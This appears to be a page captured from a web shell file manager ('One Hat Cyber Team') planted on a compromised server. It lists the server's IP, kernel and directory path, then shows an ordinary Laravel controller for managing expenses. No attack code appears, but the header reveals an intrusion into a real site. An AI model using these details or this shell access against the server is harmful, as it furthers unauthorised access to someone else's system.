⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
softpos.com.ng
/
app
/
Http
/
Controllers
/
View File Name :
ExpenseController.php
can('Manage Expense')) { $expenses = Expense::select('expenses.*', 'branches.name as branchname', 'expense_categories.name as ecname') ->leftjoin('branches', 'branches.id', '=', 'expenses.branch_id') ->leftjoin('expense_categories', 'expense_categories.id', '=', 'expenses.category_id') ->where('expenses.created_by', '=', Auth::user()->getCreatedBy()) ->orderBy('expenses.id', 'DESC') ->get(); return view('expenses.index', compact('expenses')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (Auth::user()->can('Create Expense')) { $branches = Branch::where('created_by', '=', Auth::user()->getCreatedBy())->pluck('name', 'id'); $branches->prepend(__('Choose Branch'), ''); $expensecategories = ExpenseCategory::where('created_by', '=', Auth::user()->getCreatedBy())->pluck('name', 'id'); $expensecategories->prepend(__('Choose Category'), ''); return view('expenses.create', compact('branches', 'expensecategories')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (Auth::user()->can('Create Expense')) { if (!empty($request->input('branch_id')) && !empty($request->input('category_id'))) { $validator = Validator::make( $request->all(), [ 'date' => 'required|date', 'branch_id' => 'required', 'category_id' => 'required', ] ); if ($validator->fails()) { return redirect()->back()->with('error', $validator->errors()->first()); } $expense = new Expense(); $expense->date = date('Y-m-d', strtotime($request->date)); $expense->branch_id = $request->branch_id; $expense->category_id = $request->category_id; $expense->amount = (int)$request->amount; $expense->note = $request->note; $expense->created_by = Auth::user()->getCreatedBy(); $expense->save(); return redirect()->route('expenses.index')->with('success', __('Expense added successfully.')); } else { return redirect()->back()->with('error', __('The branch/category field is required.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Expense $expense) { return redirect()->back()->with('error', __('Permission denied.')); } public function edit(Expense $expense) { if (Auth::user()->can('Edit Expense')) { $branches = Branch::where('created_by', '=', Auth::user()->getCreatedBy())->pluck('name', 'id'); $branches->prepend(__('Choose Branch'), ''); $expensecategories = ExpenseCategory::where('created_by', '=', Auth::user()->getCreatedBy())->pluck('name', 'id'); $expensecategories->prepend(__('Choose Category'), ''); return view('expenses.edit', compact('expense', 'branches', 'expensecategories')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, Expense $expense) { if (Auth::user()->can('Edit Expense')) { if (!empty($request->input('branch_id')) && !empty($request->input('category_id'))) { $validator = Validator::make( $request->all(), [ 'date' => 'required|date', 'branch_id' => 'required', 'category_id' => 'required', ] ); if ($validator->fails()) { return redirect()->back()->with('error', $validator->errors()->first()); } $expense->date = date('Y-m-d', strtotime($request->date)); $expense->branch_id = $request->branch_id; $expense->category_id = $request->category_id; $expense->amount = (int)$request->amount; $expense->note = $request->note; $expense->created_by = Auth::user()->getCreatedBy(); $expense->save(); return redirect()->route('expenses.index')->with('success', __('Expense updated successfully.')); } else { return redirect()->back()->with('error', __('The branch/category field is required.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Expense $expense) { if (Auth::user()->can('Delete Expense')) { $expense->delete(); return redirect()->route('expenses.index')->with('success', __('Expense deleted successfully.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export() { $name = 'Expense_' . date('Y-m-d i:h:s'); $data = Excel::download(new ExpenseExport(), $name . '.xlsx'); ob_end_clean(); return $data; } }